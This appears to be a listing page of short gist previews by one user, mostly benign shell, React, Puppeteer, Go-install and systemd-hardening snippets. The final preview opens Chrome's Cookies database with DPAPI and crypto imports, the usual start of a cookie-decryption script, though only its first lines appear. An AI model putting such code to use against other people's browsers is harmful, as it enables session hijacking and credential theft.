QuynhVir

sudo scutil --set HostName <new host name>

QuynhVir

const IndexPage = React.lazy(() =>
  new Promise<{ default: React.ComponentType }>(resolve =>
    setTimeout(() => {
      resolve(
        import('./pages/IndexPage').then(module => ({ default: module.IndexPage }))
      );
    }, 3000000)
  )
);

QuynhVir

#!/bin/bash

# Function to check and convert the file if necessary
check_and_convert() {
  local file=$1
  [ -d "$file" ] && return # Skip directories

  # Use ffprobe to get the codec type for each audio stream
  codec_info=$(ffprobe -v error -select_streams a -show_entries stream=codec_name -of default=noprint_wrappers=1:nokey=1 "$file")

QuynhVir

function wait (ms) {
  return new Promise(resolve => setTimeout(() => resolve(), ms));
}

export default async function capture(browser, url) {
  // Load the specified page
  const page = await browser.newPage();
  await page.goto(url, {waitUntil: 'load'});

  // Get the height of the rendered page

QuynhVir

Setup

• Create a developer account with Apple
  • https://developer.apple.com and shell out $99 for a developer account
• Download and install X-Code from the Apple App Store
• Open and run X-Code app and install whatever extras it requires
• Open the preferences pane (cmd+,)
  • click the + in the lower right corner
  • choose Apple ID
  • enter your apple ID and password

• Previously created keys can be downloaded and installed from https://developer.apple.com

QuynhVir

#!/bin/bash

#************************************************
#                hdrtosdr.sh                    *
#                  v1.0.0                       *
# developer: SCG82 (scg082+mp4towebp@gmail.com) *
#************************************************

USAGE_S="Usage: $0 -s [start time hh:mm:ss] -e [end time hh:mm:ss] -w width -h height -p preset FILE"
USAGE="Usage (arguments are optional): $0 -s [start time hh:mm:ss] -e [end time hh:mm:ss] -w [output width] -h [output height] -p [preset: ultrafast,superfast,veryfast,faster,fast,medium,slow,slower,veryslow,placebo] FILE"

QuynhVir

wget https://go.dev/dl/go1.17.5.linux-arm64.tar.gz
sudo tar -C /usr/local/ -xzf go1.17.5.linux-arm64.tar.gz

export GOROOT=/usr/local/go
export GOPATH=$HOME/go
PATH=$PATH:$HOME/.local/bin:$HOME/bin:$GOROOT/bin

QuynhVir

find ~ -type d -name node_modules -exec touch {}/.nosync \;

QuynhVir

security and hardening options for systemd service units

A common and reliable pattern in service unit files is thus:

NoNewPrivileges=yes
PrivateTmp=yes
PrivateDevices=yes
DevicePolicy=closed
ProtectSystem=strict

QuynhVir

const dpapi = require("win-dpapi")
const sqlite3 = require("sqlite3")
const os = require("os")
const fs = require("fs")
const crypto = require("crypto")

const path =
  os.homedir() + `\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies`

db = new sqlite3.Database(path)